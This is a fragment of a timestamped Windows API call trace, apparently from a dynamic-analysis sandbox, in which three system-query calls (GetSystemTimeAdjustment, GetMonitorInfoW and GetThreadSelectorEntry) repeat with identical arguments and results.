[0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.257] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.257] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.257] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.258] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.258] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.258] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.259] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.259] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.259] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 